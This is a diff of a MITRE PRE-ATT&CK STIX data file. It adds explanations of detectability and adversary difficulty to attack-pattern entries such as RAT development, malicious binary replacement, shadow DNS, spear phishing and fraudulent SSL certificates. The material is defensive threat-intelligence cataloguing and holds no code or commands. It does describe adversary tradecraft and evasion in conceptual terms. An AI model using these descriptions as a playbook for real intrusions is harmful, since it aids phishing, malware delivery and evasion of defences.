-            "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements.  For example, an adversary's  nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements.  For example, an adversary's  nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4846,16 +5118,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Receive operator KITs/KIQs tasking",
-            "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement.  Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement.  Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4877,16 +5151,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote access tool development",
-            "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch.  The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4908,16 +5184,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch.  The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Replace legitimate binary with malware",
-            "description": "Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique.  On the source webserver, detecting binary changes is easy to detect if performed.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted.  The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4939,16 +5217,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique.  On the source webserver, detecting binary changes is easy to detect if performed.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted.  The additional challenge is the reduced set of vendor-trusted websites that are vulnerable."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Research relevant vulnerabilities/CVEs",
-            "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -4974,16 +5254,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Research visibility gap of security vendors",
-            "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5005,16 +5287,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment"
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Review logs and residual traces",
-            "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5040,16 +5324,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--41086474-e6de-4fac-bb69-640db7fdf3d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Runtime code download and execution",
-            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store).  These app stores scan submitted applications for malicious behavior.  However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store).  These app stores scan submitted applications for malicious behavior.  However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5091,16 +5377,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Third-party mobile application security analysis services exist that scan for use of these techniques in iOS and Android applications. Additionally, Google specifically calls out the ability to \"identify attacks that require connection to a server and dynamic downloading of code\" in its Android Security 2015 Year in Review report. However, many applications use these techniques as part of their legitimate operation, increasing the difficulty of detecting or preventing malicious use.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Runtime code execution techniques and examples of their use are widely documented on both Apple iOS and Android."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SSL certificate acquisition for domain",
-            "description": "Certificates are designed to instill trust. They  include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a  domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Certificates are designed to instill trust. They  include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a  domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5126,16 +5414,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "SSL certificates are readily available at little to no cost."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SSL certificate acquisition for trust breaking",
-            "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case.  To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5151,22 +5441,28 @@
                 {
                     "source_name": "SubvertSSL",
                     "description": "Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017."
+                },
+                {
+                    "source_name": "DigiNotar2016",
+                    "description": "Wikipedia. (n.d.). DigiNotar. Retrieved July 21, 2016."
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotarDigiNotar2016 and [https://www.verisign.com Verisign].",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "One example of it occurring in the real world is the DigiNotarDigiNotar2016 case.  To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Secure and protect infrastructure",
-            "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5188,16 +5484,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Indistinguishable from standard security practices employed by legitimate operators.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shadow DNS",
-            "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely.  In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5223,16 +5521,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Detection of this technique requires individuals to monitor their domain registrant accounts routinely.  In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Spear phishing messages with malicious attachments",
-            "description": "Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target.  However, encryption continues to be a stumbling block.  In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging.  Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5254,16 +5554,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target.  However, encryption continues to be a stumbling block.  In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging.  Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Spear phishing messages with malicious links",
-            "description": "Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defenders can implement mechanisms to analyze links and identify levels of concerns.  However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it.  Detection of a malicious link could be identified once the file has been downloaded.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial and expected.  The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5289,16 +5591,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defenders can implement mechanisms to analyze links and identify levels of concerns.  However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it.  Detection of a malicious link could be identified once the file has been downloaded.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending emails is trivial and expected.  The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Spear phishing messages with text only",
-            "description": "Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -5320,16 +5624,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Submit KITs, KIQs, and intelligence requirements",
-            "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
